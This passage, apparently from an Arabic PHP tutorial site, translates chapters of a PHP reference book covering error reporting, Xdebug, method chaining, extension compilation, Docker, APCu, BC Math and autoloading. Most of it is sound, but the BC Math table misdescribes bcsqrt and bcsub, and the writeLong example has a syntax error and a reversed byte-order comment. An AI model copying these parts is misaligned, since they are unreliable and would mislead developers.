أردت عرض الأخطاء التي تحدث وقت التنفيذ runtime errors على الصفحة وذلك إما في ملف php.ini أو باستخدام الدالة ini_set. يمكنك اختيار الأخطاء التي تريد عرضها باستخدام دالة error_reporting، أو في ملف ini والتي تقبل الثوابت E_*‎ مجموعةً باستخدام العوامل الثنائية، ويمكن عرض الأخطاء على شكل نص أو بصيغة HTML وذلك حسب الإعداد html_errors. مثال ini_set("display_errors", true); // عرض الأخطاء كنص بسيط ini_set("html_errors", false); // ‫عرض كل شيء باستثناء E_USER_NOTICE error_reporting(E_ALL & ~E_USER_NOTICE); // E_USER_NOTICE trigger_error("Pointless error"); // E_NOTICE echo $nonexistentVariable; // E_ERROR nonexistentFunction(); خرج نصي بسيط: (تختلف صيغة HTML بين التنفيذات) Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7 Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in /path/to/file.php:8 Stack trace: #0 {main} thrown in /path/to/file.php on line 8 الطريقة الشائعة لمعالجة error_reporting هي تمكينه بالكامل باستخدام الثابت E_ALL أثناء التطوير وتعطيل عرض الأخطاء للعامة باستخدام display_errors في مرحلة الإنتاج لإخفاء ما يوجد داخل السكربت. phpinfo()‎ phpinfo(); لهذه الدالة معامل واحد ‎$what يسمح بتخصيص الخرج، قيمته الافتراضية INFO_ALL وتسبب عرض كل المعلومات وتُستخدم عادةً أثناء التطوير لمعرفة حالة PHP الحالية، ويمكنك تمرير المعامل ثوابت INFO_*‎ مجموعةً باستخدام العوامل الثنائية للحصول على قائمة مخصصة، يمكنك تنفيذها في المتصفح للحصول على التفاصيل بتنسيقٍ جيد، وتعمل أيضًا في واجهة سطر أوامر PHP حيث يمكنك نقلها بعرضٍ أفضل. مثال phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES); ستعرض هذه الشيفرة قائمة من موجهات PHP (‏ini_get)ومتغيرات البيئة (‎$_ENV) والمتغيرات المعرفة مسبقًا. Xdebug Xdebug إضافة PHP توفر إمكانيات تنقيح الأخطاء والتحليل، تستخدم بروتوكول تحديد الأخطاء DBGp والتي هي اختصار لـ ‏DeBugGer Protocol، من ميزات هذه الإضافة: مكدس يتتبع الأخطاء. حماية قصوى بمستوى متداخل وتتبع الوقت. بديل مفيد لدالة var_dump()‎ المعيارية لعرض المتغيرات. تسمح بتسجيل كل استدعاءات الدالة متضمنةً المعاملات والقيم المُعادة في ملف بتنسيقات مختلفة تحليل تغطية الشيفرة تحليل المعلومات تنقيح الأخطاء عن بعد (توفر واجهة للعملاء منقحي الأخطاء الذين يتفاعلون مع سكربت PHP المُنفَّذ). إنّ هذه الإضافة مناسبة تمامًا لبيئة التطوير، خاصةً ميزة تنقيح الأخطاء عن بعد التي يمكن أن تساعدك في تنقيح أخطاء شيفرة PHP بدون كتابة العديد من تعليمات var_dump واستخدام عملية تنقيح الأخطاء العادية كما في لغة C++‎ وجافا. تثبيت هذه الإضافة بسيط جدًا: pecl install xdebug # install from pecl/pear وتفعيلها في ملف php.ini: zend_extension="/usr/local/php/modules/xdebug.so" يمكنك الاطلاع على هذه التعليمات للحالات الأكثر تعقيدًا. يجب أن تتذكر عند استخدام هذه الأداة أنها غير مناسبة لبيئات الإنتاج. الإبلاغ عن الأخطاء استخدم الدالتين التاليتين معًا: // تضبط هذه الدالة خيار الإعداد في بيئتك ini_set('display_errors', '1'); // ‫ستسمح ‎?-1‎ بالإبلاغ عن كل الأخطاء error_reporting(-1); phpversion()‎ من الضروري أن تعرف إصدار محلل PHP الحالي أو إحدى الحزم عند العمل مع المكتبات المختلفة والمتطلبات المرتبطة بها. تقبل هذه الدالة معامل اختياري واحد في شكل اسم الإضافة phpversion('extension')‎، إذا ثُبِّتت الإضافة فإنّ الدالة سترجع سلسلة نصية تتضمن قيمة الإصدار وإلا ستُرجع القيمة FALSE، وإذا لم يتوفر اسم الإضافة ستُرجع الدالة إصدار محلل PHP نفسه. مثال print "Current PHP version: " . phpversion(); // Current PHP version: 7.0.8 print "Current cURL version: " . phpversion( 'curl' ); // Current cURL version: 7.0.8 // أو // false, no printed output if package is missing المراجع: http://php.net/manual/en/function.register-shutdown-function.php http://php.net/manual/en/function.error-get-last.php http://php.net/manual/en/errorfunc.constants.php ترجمة -وبتصرف- للفصول Common Errors ، وCompilation of Errors and Warnings ، وException Handling and Error Reporting ، وDebugging من كتاب PHP Notes for Professionals book
  6. يوفر هذا الجزء أمثلة عن أنماط التصميم المعروفة المُنفَّذة في PHP. سلسلة التوابع في PHP سَلسَلة التوابع هي تقنية موضحة في كتاب لغات محددة للنطاق لصاحبه Martin Fowler وتُلخص بالشكل التالي: جعل توابع التعديل تُرجع كائن المضيف بحيث يمكن تنفيذ عدة تعديلات في تعبير واحد. بفرض لدينا هذه الشيفرة النظامية الخالية من السَلسَلة (نُقلت إلى PHP من الكتاب المذكور أعلاه) $hardDrive = new HardDrive; $hardDrive->setCapacity(150); $hardDrive->external(); $hardDrive->setSpeed(7200); تسمح لنا سَلسَلة التوابع بكتابة الشيفرة السابقة بطريقةٍ مختصرة: $hardDrive = (new HardDrive) ->setCapacity(150) ->external() ->setSpeed(7200); كل ما تحتاجه هو إضافة return $this إلى التابع الذي نريد سَلسَلته. class HardDrive { protected $isExternal = false; protected $capacity = 0; protected $speed = 0; public function external($isExternal = true) { $this->isExternal = $isExternal; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setCapacity($capacity) { $this->capacity = $capacity; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setSpeed($speed) { $this->speed = $speed; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } } متى نستخدم سلسلة التوابع؟ الحالات الأساسية التي نستخدم فيها سَلسَلة التوابع هي عند بناء لغات خاصة بالنطاق الداخلي، سَلسَلة التابع هي بناء كتلة في باني التعبير والواجهات السلسة. إنّها ليست مرادفة لهما لكن أسلوب السَلسلة يمكّنهما كما يذكر Martin Fowler: ورغم ذلك يعدّ الكثير من الأشخاص أنّ استخدام سَلسَلة التابع فقط لتجنب كتابة الكائن المضيف مشكلة شيفرة، لأنّه يصنع واجهة برمجة تطبيقات API غير واضحة خاصةً عند الدمج مع واجهة برمجة تطبيقات خالية من سَلسَلة التوابع. إليك أيضًا بعض الملاحظات الإضافية: فصل استعلام الأوامر: فصل استعلام الأوامر هو مبدأ في التصميم قدّمه Bertrand Meyer وينص على أنّ التوابع التي تغير الحالة (الأوامر) يجب ألا ترجع شيئًا، أما التوابع التي ترجع شيئًا ما (الاستعلامات) يجب ألا تغير الحالة. وهذا يجعل من السهل التفكير في النظام. تنتهك سَلسَلة التوابع هذا المبدأ لأننا التابع يغير الحالة ويُعيد شيئًا ما. التوابع الجالبة getters: يجب الانتباه عند استخدام الأصناف التي تنفذ سَلسَلة التوابع إلى استدعاء توابع الجالب (أي التوابع التي تُرجع شيئًا ما غير ‎$this)، بما أنّ الجالب يجب أن يرجع قيمة ما غير ‎$this فإنّ سَلسلة تابع إضافي على التابع الجالب يجعل الاستدعاء يُنفَّذ على القيمة التي حُصِل عليها وليس على الكائن الأصلي، إلا أنّ هناك بعض الحالات لسَلسلة التوابع الجالبة قد تجعل الشيفرة أقل قابلية للقراءة. قانون ديميتر وتأثيره على الاختبار: لا تنتهك سَلسلة التوابع قانون ديميتر كما أنّها لا تؤثر على الاختبار وذلك لأننا نعيد الكائن المضيف وليس بعض المتعاونين. إنّه مفهوم خاطئ شائع عند الأشخاص الذين يخلطون بين سَلسلة التوابع والواجهات السلسة وبناة التعبير، يُنتهك قانون ديميتر فقط عندما تعيد سَلسلة التوابع كائنات أخرى غير الكائن المضيف وينتهي بك الأمر بالحصول على اختبارات وهمية في اختباراتك. تصريف إضافات PHP في نظام لينوكس Linux يوجد عدة متطلبات لتصريف إضافة PHP في بيئة لينكس نموذجية: مهارات يونكس الأساسية (أن تكون قادرًا على تشغيل الأمر "make" ومصرِّف C). مصرِّف لغة C يدعم المعيار ANSI. الشيفرة المصدرية لإضافة PHP التي تريد تصريفها. عمومًا، يوجد طريقتين لتصريف إضافة PHP. يمكنك تصريف الإضافة بشكلٍ ساكن إلى الصيغة الثنائية في PHP أو تصريفها كوحدة مشتركة محملة من قِبل الصيغة الثنائية في PHP عند بدء التشغيل. ومن الأفضل استخدام الوحدات المشتركة لأنها تسمح بإضافة أو حذف الإضافات بدون إعادة بناء كامل صيغة PHP الثنائية، يركز هذا المثال على الخيار المشترك. إذا ثبّت PHP باستخدام مدير الحزم ‎(apt-get install, yum install, etc..)‎ ستحتاج إلى تثبيت حزمة ‎-dev من أجل PHP، والتي ستتضمن ملفات ترويسة PHP وسكربت phpize الضروريين لتعمل بيئة البناء. قد تسمى الحزمة باسم مثل php5-dev أو php7-dev لكن تأكد من استخدام مدير حزمتك للبحث عن الاسم المناسب باستخدام مستودعات التوزيعة الخاصة بك لأنها قد تختلف. إذا بنيت PHP من المصدر فعلى الأغلب أنّ ملفات الترويسة موجودة بالفعل في نظامك، تكون عادةً في المسار ‎/usr/include أو ‎/usr/local/include خطوات التصريف بعد أن تتأكد من أنّه لديك كل المتطلبات الضرورية للتصريف يمكنك التوجه إلى pecl.php.net واختيار الإضافة التي تريد تصريفها وتحميل ملف tarball الخاص بها. فك ضغط ملف tarball (مثل: tar xfvz yaml-2.0.0RC8.tgz) أدخل المجلد حيث فُكَّ ضغط الأرشيف، ونفّذ الأمر phpize. يجب أن ترى الآن سكربت جديد مُنشأ حديثًا ‎.configure، إذا كان كل شيء على ما يرام عندها نفّذ الأمر ‎./configure. ستحتاج الآن إلى تنفيذ الأمر make الذي سيصرّف الإضافة. أخيرًا ننفذ الأمر make install التي ستنسخ الملف الثنائي المصرَّف إلى مجلد الإضافة الخاص بك. سيوفر لك الأمر make install مسار التثبيت الذي نُسخت فيه الإضافة، والذي يكون عادةً في ‎/usr/lib/‎، قد يكون مثلًا ‎/usr/lib/php5/20131226/yaml.so‎ يعتمد هذا على إعدادات PHP الخاصة بك (مثل ‎--with-prefix) ونسخة واجهة برمجة التطبيقات المحددة. يُضمَّن رقم واجهة برمجة التطبيقات في المسار للحفاظ على الإضافات المبنية لإصدارات واجهات برمجة تطبيقات مختلفة في مواقع مختلفة. تحميل الإضافة في PHP لتحميل الإضافة في PHP، ابحث عن ملف php.ini المحمَّل من أجل واجهة برمجة التطبيقات للخادم (SAPI) المناسبة، وأضف السطر extension=yaml.so ثم أعد تشغيل PHP وغيّر yaml.so إلى اسم الإضافة المثبّتة الفعلي. بالنسبة للإضافة Zend فأنت تحتاج إلى توفير المسار الكامل لملف الكائن المشترك، أما في باقي إضافات PHP العادية، فيُشتق هذا المسار من الموجِّه extension_dir في ملف الإعدادات المحمَّل أو من متغير البيئة ‎$PATH أثناء إعداد التهيئة. ترجمة -وبتصرف- للفصول Design Patterns - Compile PHP Extensions من كتاب PHP Notes for Professionals book
  7. يُعَدّ Docker حاويةً شائعة جدًا تُستخدم على نطاقٍ واسع كحلّ لنشر الشيفرة في بيئات الإنتاج، كما أنها تسهّل إدارة وتوسيع تطبيقات الويب والخدمات الصغيرة. الحصول على صورة دوكر من أجل php لنشر التطبيق على دوكر نحتاج أولًا للحصول على الصورة من السجل registry. docker pull php سيوفر لك هذا أحدث إصدار للصورة من مستودع ‏php الرسمي، تُستخدم php بشكلٍ عام لنشر تطبيقات الويب لذا نحتاج إلى خادم http ليتوافق مع الصورة. تأتي الصورة في الإصدار php:7.0 (أو إصدار أحدث) مُثبّتة مسبقًا مع apache لتنشر تطبيقك بدون مشاكل. كتابة dockerfile يُستخدم Dockerfile لضبط الصورة المخصصة التي سننشئها مع شيفرات تطبيق الويب، ننشئ ملف جديد Dockerfile في المجلد الجذر للمشروع ونضع فيه المحتويات التالية: FROM php:7.0-apache COPY /etc/php/php.ini /usr/local/etc/php/ COPY . /var/www/html/ EXPOSE 80 يستخدم السطر الأول لوصف الصورة التي يجب استخدامها لإنشاء صورة جديدة، يمكن تغيير هذا إلى أي إصدار PHP آخر محدد من السجل، والسطر الثاني لتحميل ملف php.ini إلى الصورة ويمكنك تغيير هذا الملف إلى موقع ملف مخصص آخر، وينسخ السطر الثالث الشيفرات في المجلد الحالي إلى ‎/var/www/html والذي هو webroot بالنسبة لنا، تذكر أن ‎/var/www/html داخل الصورة، أما السطر الأخير فسيفتح المنفذ 80 داخل حاوية دوكر. قد يكون لديك في بعض الحالات بعض الملفات التي لا تريدها على الخادم مثل ملف إعدادات البيئة، بفرض أنّ إعدادات البيئة موجودة لدينا في ملف ‎.env ونريد تجاهله عندها نضيفه إلى ‎.dockerignore في المجلد الجذر لشيفرتنا. بناء الصورة إنّ بناء الصورة شيء غير محدد في php، لكن لبناء الصورة التي تحدثنا عنها في الأعلى نستخدم مايلي: docker build -t <Image name> . يمكننا التحقق من بناء الصورة باستخدام: docker images سيعطيك هذا الأمر كل الصور المثبتة في نظامك. بدء حاوية التطبيق يمكننا البدء بتقديم الخدمة بمجرد أن تصبح الصورة جاهزة، نستخدم ما يلي لإنشاء حاوية من الصورة: docker run -p 80:80 -d <Image name> ستوجّه ‎-p 80:80 في الأمر السابق المنفذ 80 الخاص بخادمك إلى المنفذ 80 الخاص بالحاوية، وستخبر الراية ‎-d أنّه يجب تنفيذ الحاوية في الخلفية وتصف <Image name> الصورة التي يجب استخدامها لبناء الحاوية. التحقق من الحاوية نستخدم ما يلي للتحقق من الحاويات قيد التنفيذ: docker ps سيعطينا هذا الأمر قائمة بكل الحاويات التي تُنفَّذ. سجلات التطبيق تعدّ السجلات مهمة جدًا لتنقيح أخطاء التطبيق، وللتحقق منها نستخدم الأمر: docker logs <Container id> مخزن APCu APCu هو مخزن قيمة-مفتاح للذاكرة المشتركة في PHP، تُشارك الذاكرة بين عملياتPHP-FPM ‎ (أي Fast Process Manager)‎‍ في نفس المجمع pool وتستمر البيانات المخزنة بين العمليات. تكرار محتويات المداخل يسمح الصنف APCUIterator بتكرار محتويات المداخل في المخزن المؤقت cache: foreach (new APCUIterator() as $entry) { print_r($entry); } يمكن تهيئة المكرِّر بتعبير نمطي اختياري لاختيار المداخل المتطابقة مع المفاتيح فقط: foreach (new APCUIterator($regex) as $entry) { print_r($entry); } يمكن الحصول على معلومات مدخل ذاكرة مؤقتة واحدة بالشكل التالي: $key = '…'; $regex = '(^' . preg_quote($key) . '$)'; print_r((new APCUIterator($regex))->current()); تخزين واسترجاع بسهولة يمكن استخدام apcu_store لتخزين قيم وapcu_fetch لاستعادتها: $key = 'Hello'; $value = 'World'; apcu_store($key, $value); print(apcu_fetch('Hello')); // 'World' تخزين معلومات توفر apcu_cache_info معلومات حول المخزن ومداخله: print_r(apcu_cache_info()); لاحظ أنّ استدعاء apcu_cache_info()‎ بدون حد سيعيد كل البيانات المخزنة حاليًا، ولهذا نستخدم apcu_cache_info(true)‎، للحصول على البيانات الوصفية فقط، كما أنه من الأفضل استخدام الصنف APCUIterator للحصول على معلومات عن مداخل ذاكرة تخزين مؤقتة محددة. ترجمة -وبتصرف- للفصل Docker deployment - APCu من كتاب PHP Notes for Professionals book
  8. يمكن استخدام الآلة الحاسبة الثنائية BC Math للتعامل مع أرقام بأي حجم وبدقة عشرية تصل إلى 2147483647‎-1‎، بتنسيق سلسلة نصية، وهي أدق من الحساب العشري في PHP، وتدعم كلًا من الدوال الآتية: الدالة الوصف المعاملات bcadd تضيف هذه الدالة أي رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bccomp توازن بين رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية والتي ستُستخدم في الموازنة. bcdiv تقسّم رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcmod تعيد باقي قسمة رقم على رقم آخر ذو دقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. divisor: العدد الذي نريد القسمة عليه على شكل سلسلة نصية. bcmul تعيد نتيجة ضرب رقمين بدقةٍ ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpow ترفع رقم ذو دقةٍ ما إلى رقم آخر left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpowmod ترفع رقم ذو دقةٍ ما إلى رقم آخر، مخفضًا بباقي قسمة محدد left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. modulus: باقي القسمة على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcscale تضبط معامل القياس الافتراضي لكل دوال الإضافة bc math scale: عامل القياس. bcsqrt تطرح رقم ذو دقةٍ ما من رقم آخر operand: المعامَل على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcsub تضيف هذه الدالة أي رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. استخدام bcmath لقراءة/كتابة رقم ثنائي طويل في أنظمة 32 بت لا يمكن تخزين الأعداد الصحيحة التي تكون أكبر من 0x7FFFFFFF في أنظمة 32 بت بشكلٍ أساسي، بينما يمكن تخزين الأعداد الصحيحة بين 0x0000000080000000 و0x7FFFFFFFFFFFFFFF في أنظمة 64 بت ولا يمكن تخزينها في أنظمة 32 بت (طويلة جدًا وذات إشارة). ومع ذلك بما أنّ أنظمة 64 بت والعديد من اللغات الأخرى تدعم تخزين الأعداد الصحيحة الطويلة جدًا ذات الإشارة فمن الضروري أحيانًا تخزين هذا المجال من الأعداد الصحيحة بالقيمة الدقيقة. هناك عدة طرق للقيام بذلك مثل إنشاء مصفوفة من رقمين أو تحويل العدد الصحيح إلى صيغته العشرية القابلة للقراءة من قِبل البشر، ولهذا العديد من الميزات مثل الراحة في العرض للمستخدم وقابلية معالجته باستخدام bcmath مباشرةً. يمكن استخدام التوابع pack وunpack للتحويل بين البايتات الثنائية والصيغة العشرية للأرقام (كلاهما من النوع سلسلة لكن الأولى ثنائية والثانية بترميز ASCII، لكنهم سيحاولون دائمًا تحويل السلسلة النصية بترميز ASCII إلى عدد صحيح 32 بت في أنظمة 32 بت، توفر الشيفرة التالية بديل: // ‫استخدم pack("J")‎ أو pack("p")‎⁡ في أنظمة 64 بت function writeLong(string $ascii) : string { // ‫إذا كان ‎$ascii < 0‎ if(bccomp($ascii, "0") === -1) { // 18446744073709551616 = (1 << 64) // ‫تذكر إضافة علامات الاقتباس وإلا سيُحلَّل الرقم على أنه عشري $ascii = bcadd($ascii, "18446744073709551616"); } // ‫"n" لتخزين البتات الأقل أهمية أولًا بصيغة 16 بت بدون إشارة، نستخدم "v" لتخزين البتات الأكثر أهمية أولًا return pack("n", bcmod(bcdiv($ascii, "281474976710656"), "65536")) . pack("n", bcmod(bcdiv($ascii, "4294967296"), "65536")) . pack("n", bcdiv($ascii, "65536"), "65536")) . pack("n", bcmod($ascii, "65536")); } function readLong(string $binary) : string { $result = "0"; $result = bcadd($result, unpack("n", substr($binary, 0, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 2, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 4, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 6, 2))); // ‫إذا كان ‎?$binary طويل جدًا ومع إشارة // ‫9223372036854775808‎ = (1 << 63)‎ (لاحظ أن هذا التعبير لا يعمل حتى في أنظمة 64 بت) if(bccomp($result, "9223372036854775808") !== -1) { // ‫إذا كان ‎$result >= 9223372036854775807 $result = bcsub($result, "18446744073709551616"); // $result -= (1 << 64) } return $result; } موازنة بين BCMath والعمليات الحسابية العشرية bcadd مقابل رقم عشري + رقم عشري: var_dump('10' + '-9.99'); // float(0.0099999999999998) var_dump(10 + -9.99); // float(0.0099999999999998) var_dump(10.00 + -9.99); // float(0.0099999999999998) var_dump(bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000" bcsub مقابل رقم عشري - رقم عشري: var_dump('10' - '9.99'); // float(0.0099999999999998) var_dump(10 - 9.99); // float(0.0099999999999998) var_dump(10.00 - 9.99); // float(0.0099999999999998) var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000" bcmul مقابل رقم صحيح * رقم صحيح: var_dump('5.00' * '2.00'); // float(10) var_dump(5.00 * 2.00); // float(10) var_dump(bcmul('5.0', '2', 20)); // string(4) "10.0" var_dump(bcmul('5.000', '2.00', 20)); // string(8) "10.00000" var_dump(bcmul('5', '2', 20)); // string(2) "10" bcmul مقابل رقم عشري * رقم عشري: var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259) var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259) var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289" bcdiv مقابل رقم عشري / رقم عشري: var_dump('10' / '3.01'); // float(3.3222591362126) var_dump(10 / 3.01); // float(3.3222591362126) var_dump(10.00 / 3.01); // float(3.3222591362126) var_dump(bcdiv('10', '3.01', 20)); // string(22) "3.32225913621262458471" ترجمة -وبتصرف- للفصل [BC Math (Binary Calculator)‎] من كتاب PHP Notes for Professionals book table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; }
  9. التحميل التلقائي (autoloading) كجزء من حل إطار العمل ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف Ruminant.php: class Ruminant extends Animal { public function eats($food) { if ('grass' === $food) { parent::eats($food); } else { echo "Yuck, $food!"; } } } ملف Cow.php: class Cow extends Ruminant { } ملف pasture.php: require 'autoload.php'; $animal = new Cow; $animal->eats('grass'); يمكننا الوصول إلى أي صنف يتبع اصطلاحات التسمية الموجودة في المحمِّل التلقائي وذلك بفضل المحمل التلقائي العام. اصطلاحاتنا في هذا المثال بسيطة: يجب أن يكون للصنف المطلوب ملف في نفس المجلد يُسمّى بنفس اسم الصنف وتُضاف له اللاحقة ‎.php، يجب أن يكون اسم الصنف مطابقًا تمامًا لاسم الملف. بدون التحميل التلقائي، يجب أن نضيف الأصناف الأساسية يدويًا باستخدام require، إذا كنا نبني حديقة حيوانات كاملة سيكون لدينا الآلاف من تعليمات require التي يمكن استبدالها بسهولة بمحمِّل تلقائي واحد. في التحليل النهائي، يعدّ التحميل التلقائي في PHP آلية تساعدك على كتابة شيفرة بآلية أقل لذا يمكنك التركيز على حل مشاكل العمل، كل ماعليك فعله هو تحديد استراتيجية تربط اسم الصنف باسم الملف، يمكنك تنفيذ استراتيجية تحميل تلقائي خاصة بك كما هو الحال هنا، أو يمكنك استخدام أي من المعايير التي تتبناها PHP: ‏PSR-0 أو‏PSR-4 أو يمكنك استخدام المُنشئ لتعريف الاعتماديات وإدارتها بشكلٍ عام. تعريف صنف مضمَّن بدون الحاجة للتحميل ملف zoo.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } $animal = new Animal(); $animal->eats('meat'); تعلم PHP ماهو الصنف Animal قبل تنفيذ التعليمة new Animal لأن PHP تقرأ الملفات المصدرية من الأعلى إلى الأسفل، لكن ماذا لو أردنا إنشاء كائنات من الصنف Animal في عدة أماكن ليس فقط في الملف المصدري الذي عُرِّف فيه، نحتاج للقيام بذلك إلى تحميل تعريف الصنف. تحميل يدوي للصنف باستخدام require ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'Animal.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'Animal.php'; $animal = new Animal; $animal->eats('shrimp'); لدينا ثلاثة ملفات، يعرّف الملف الأول "Animal.php" الصنف، ويجمع كل المعلومات المتعلقة بالحيوان في مكان واحد بشكلٍ أنيق، ليس لهذا الملف آثار جانبية، هذه نسخة قابلة للتحكم ويمكن إعادة استخدامها بسهولة. يستخدم الملفان الآخران هذا الملف بتضمينه يدويًا، وبما أنّ PHP تقرأ الملف المصدري من الأعلى إلى الأسفل فإنّ تعليمة require ستجد الملف "Animal.php" وتجعل تعريف الصنف Animal متوفرًا قبل استدعاء new Animal. تخيل الآن أنّه لديك عشرات أو مئات الحالات التي تريد فيها إنشاء كائنات جديدة من الصنف Animal قد يتطلب ذلك الكثير من تعليمات require المملة. التحميل التلقائي بديلًا لتحميل تعريف الصنف يدويًا ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'autoload.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'autoload.php'; $animal = new Animal; $animal->eats('shrimp'); وازن هذا المثال مع الأمثلة الأخرى، ولاحظ كيف استبدلنا التعليمة require "Animal.php‎"‎ بالتعليمة require "autoload.php"‎، مازلنا نضمن الملف الخارجي في وقت التنفيذ لكن بدلًا من تضمين تعريف صنف معين نضمّن منطق يمكن أن يحتوي على أي صنف وهذا يسهّل عملية التطوير،إذ نكتب تعليمة require واحدة لكل الأصناف بدلًا من كتابتها لكل صنف على حدة. يحدث السحر باستخدام spl_autoload_register، إذ تأخذ هذه الدالة مغلِّف وتضيفه إلى رتل من المغلِّفات، عندما تصادف PHP صنفًا ليس له تعريف فإنها تعطي اسم الصنف إلى كل مغلِّف في الرتل، إذا وِجد الصنف بعد استدعاء مغلِّف ما فإنّ PHP تعود إلى عملها السابق، وإذا لم يوجد الصنف بعد تجربة كامل الرتل تتعطل PHP وتطلق الخطأ "Class 'Whatever' not found.‎" التحميل التلقائي مع المُنشِئ يولِّد المُنشئ الملف vendor/autoload.php، يمكنك تضمين هذا الملف ببساطة وستحصل على التحميل التلقائي مجانًا. require __DIR__ . '/vendor/autoload.php'; وهذا يجعل العمل مع اعتماديات من طرف ثالث (third-party dependencies) سهل جدًا، ويمكنك أن تضيف أيضًا شيفرتك الخاصة إلى المحمِّل التلقائي بإضافة قسم تحميل تلقائي إلى composer.json. { "autoload": { "psr-4": {"YourApplicationNamespace\\": "src/"} } } تحدد في هذا القسم رابط التحميل التلقائي، يربط هذا المثال PSR-4 فضاء اسم إلى مجلد، يبقى المجلد ‎/src في المجلد الجذر لمشاريعك في نفس المستوى الموجود فيه المجلد ‎/vendor، يمكن أن يكون لديك اسم الملف src/Foo.php مثلًا والذي يحتوي على الصنف YourApplicationNamespace\Foo. ملاحظة: بعد إضافة مداخل جديدة إلى قسم التحميل التلقائي يجب إعادة تنفيذ الأمر dump-autoload لإعادة توليد وتحديث الملف vendor/autoload.php بالمعلومات الجديدة. يدعم المُنشئ التحميل التلقائي للمعيار PSR-0 وclassmap وfiles بالإضافة إلى PSR-4، يمكنك الاطلاع على مرجع التحميل التلقائي لمزيد من المعلومات. عند تضمين الملف vendor/autoload.php ستُرجع نسخة من المحمِّل التلقائي للمُنشئ، يمكنك تخزين القيمة المُرجعة من استدعاء التضمين في متغير وإضافة المزيد من فضاءات الأسماء، يمكن أن يكون هذا مفيدًا في التحميل التلقائي للأصناف في مجموعة الاختبار، مثال: $loader = require __DIR__ . '/vendor/autoload.php'; $loader->add('Application\\Test\\', __DIR__); إنشاء ملفات PDF في PHP مكتبة PDFlib تتطلب الشيفرة التالية استخدام مكتبة PDFlib لتعمل بشكلٍ صحيح. <?php // تهيئة كائن جديد $pdf = pdf_new(); // ‫إنشاء ملف pdf فارغ جديد pdf_begin_document($pdf);? // ضبط معلومات الملف pdf_set_info($pdf, "Author", "John Doe"); pdf_set_info($pdf, "Title", "HelloWorld"); // تحديد طول وعرض الصفحة pdf_begin_page($pdf, (72 * 8.5), (72 * 11)); // تحميل خط $font = pdf_findfont($pdf, "Times-Roman", "host", 0) // ضبط الخط pdf_setfont($pdf, $font, 48); // تعيين موضع النص pdf_set_text_pos($pdf, 50, 700); // طباعة النص إلى الموضع المحدد pdf_show($pdf, "Hello_World!"); // نهاية الصفحة pdf_end_page($pdf); // إغلاق الكائن pdf_end_document($pdf); // استعادة المحتويات من المخزن المؤقت $document = pdf_get_buffer($pdf); // ‫إيجاد طول ملف PDF وتعيين اسم للملف $length = strlen($document); $filename = "HelloWorld.pdf"; header("Content-Type:application/pdf"); header("Content-Length:" . $length); header("Content-Disposition:inline; filename=" . $filename); // إرسال الملف إلى المتصفح echo($document); // مسح الذاكرة unset($document); pdf_delete($pdf); ?> مكتبة YAML تثبيت الإضافة YAML لا تأتي إضافة YAML مع تثبيت PHP القياسي، بل يجب تثبيتها كإضافة PECL، ويمكن القيام بذلك في لينوكس/يونكس ببساطة: pecl install yaml لاحظ أنّ الحزمة libyaml-dev يجب أن تكون مثبتة على النظام لأنّ حزمة PECL هي مجرد غلاف لاستدعاءات libYAML. يختلف التثبيت على ويندوز، إذ يمكنك تحميل DLL المصرَّف مسبقًا أو بناؤه من المصدر. استخدام YAML لتخزين إعدادات التطبيق توفر مكتبة YAML طريقةً لتخزين البيانات المهيكلة، يمكن أن تكون البيانات مجموعة بسيطة من الأزواج 